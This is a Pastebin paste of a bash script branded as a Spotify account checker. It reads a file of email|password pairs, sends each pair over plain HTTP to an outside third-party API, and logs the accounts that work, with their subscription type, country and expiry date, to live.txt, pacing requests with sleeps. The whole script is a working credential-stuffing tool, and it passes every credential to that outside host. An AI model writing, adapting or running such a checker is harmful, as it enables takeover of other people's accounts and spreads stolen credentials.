Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- waktu=$(date '+%Y-%m-%d %H:%M:%S')
- RED="\e[31m"
- GREEN="\e[32m"
- YELLOW="\e[33m"
- CYAN="\e[36m"
- LIGHTGREEN="\e[92m"
- MARGENTA="\e[35m"
- BLUE="\e[34m"
- BOLD="\e[1m"
- NOCOLOR="\e[0m"
- header(){
- printf "${GREEN}
- ####################################
- ####################################
- ####### #######
- ####### #######${BLUE}
- ####### www.tatsumi-crew.net #######
- ############### ###############
- ############### ###############
- ############### ###############
- ############### ###############${RED}
- ####### #### #### #######
- ####### #### #### #######
- ####### ############## #######
- ####### ############## #######
- ####### #######
- ####################################
- ####################################${NOCOLOR}
- ------------------------------------
- SPOTIFY ACCOUNTS CHECKER
- ------------------------------------
- "
- }
- scanskrng(){
- cekvalid=$(curl -s "http://id.nakocoders.org/spotify/api/api.php?emailna=$1&passwordna=$2" --compressed -s);
- getakun=$(echo $cekvalid | grep -Po '(?<=subscription":")[^",]*')
- country=$(echo $cekvalid | grep -Po '(?<=Country":\[")[^"\[}]*')
- expired=$(echo $cekvalid | grep -Po '(?<=Date":\[")[^"\[}]*')
- cek=$(echo $cekvalid | grep -Po '(?<=status":)[^}]*' | sed 's/\[\"//g' | sed 's/\"\]//g')
- if [[ $cek =~ "success" ]]; then
- printf "${GREEN}[LIVE] => $1:$2${NOCOLOR} [TYPE:$getakun][MASA BERLAKU : $expired][NEGARA:$country]\n";
- echo "[LIVE] => $1:$2$ [TYPE:$getakun][MASA BERLAKU : $expired][NEGARA:$country]" >> live.txt
- printf "${NORMAL}"
- else
- printf "${RED}[DIE] $1 | $2 [$waktu]\n";
- printf "${NORMAL}"
- fi
- }
- header
- echo ""
- echo "List In This Directory : "
- ls
- echo "Delimeter list -> email|password"
- echo -n "Masukan File List : "
- read list
- if [ ! -f $list ]; then
- echo "$list No Such File"
- exit
- fi
- persend=1 #NOSET BIAR GA KOID
- setleep=5 #NOSET BIAR GA KOID
- itung=1 #NOSET BIAR GA KOID
- IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $list))'
- for (( i = 0; i < ${#mailist[@]}; i++ )); do
- set_kirik=$(expr $itung % $persend)
- if [[ $set_kirik == 0 && $itung > 0 ]]; then
- sleep $setleep
- fi
- username="${mailist[$i]}"
- IFS='|' read -r -a array <<< "$username"
- email=${array[0]}
- password=${array[1]}
- scanskrng $email $password&
- itung=$[$itung+1]
- done
- wait
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement